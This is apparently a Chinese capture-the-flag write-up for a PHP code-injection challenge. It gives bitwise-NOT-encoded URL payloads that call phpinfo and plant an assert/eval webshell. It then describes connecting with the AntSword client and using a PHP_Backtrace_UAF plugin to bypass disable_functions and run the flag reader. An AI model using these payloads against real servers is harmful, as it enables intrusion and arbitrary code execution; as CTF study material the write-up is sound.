# 获取到后,在URL进行这样子的访问就能得到phpinfo执行的结果
url: http://xxx.xxx.xxx:xx/?code=(~%8F%97%8F%96%91%99%90)();

#获取到信息后,得到下面几个关键信息
# PHP Version 7.0.33
# disable_functions:被禁用的函数,特别多

因为考虑到被禁用的函数特别多,果断采取参数逃逸搭配蚁剑的形式对靶场进行渗透

#参数逃逸的方法
#获取
$ php -r "var_dump(urlencode(~'assert'));"
string(18) "%9E%8C%8C%9A%8D%8B"

$ php -r "var_dump(urlencode(~'(eval($_POST[test]))'));"
string(42) "%D7%9A%89%9E%93%D7%A4%8B%9A%8C%8B%A2%D6%D6"

# 再拼接加入url
url: http://xxx.xxx.xxx:xx/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%A4%8B%9A%8C%8B%A2%D6%D6);

# 把这个url放在蚁剑进行连接,发现当前目录并没有flag。翻到根目录时查看flag文件出现乱码,以及readflag也是相同的情况
# 推测readflag是一个可执行文件,需要代码执行
# 这个时候使用蚁剑插件:选择绕disable_functions,选择模式“PHP_Backtrace_UAF”,点击开始即可获取cmd窗口,切换到根目录./readflag即可得到flag。

这个师傅比较详细,可以去看看:点我去看大佬博客